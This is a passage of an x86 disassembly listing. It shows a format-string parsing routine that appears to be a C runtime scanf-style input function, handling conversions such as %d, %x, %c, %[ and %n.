		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]


loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------


loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1


loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------


loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3


loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D


loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi


loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------


loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D


loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------


loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]


loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46


loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh


loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_433E7C, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------


loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------


loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_433E80, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_433E80
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_433E7C, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------


loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------


loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91


loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------


loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B


loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------


loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_433E7C, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------


loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------


loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_435FD8
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1


loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_436000
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46


loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1


loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91


loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh


loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------


loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------


loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1


loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_435FF8


loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh


loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]


loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------


loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl


loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E


loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi


loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C


loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_433C70
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al


loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_433E7C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------


loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi


loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1


loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------


loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF


loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax


loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx


loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6


loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_433E7C, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------


loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------


loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_433E7C, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------


loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------


loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760


loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6


loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------


loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------


loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4


loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_433E7C, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_433E7C, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------


loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4


loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------


loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi


loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0


loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]


loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di


loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------


loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_433C70
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]


loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax


loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------


loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h


loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4


loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]


loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_433E7C, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------


loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
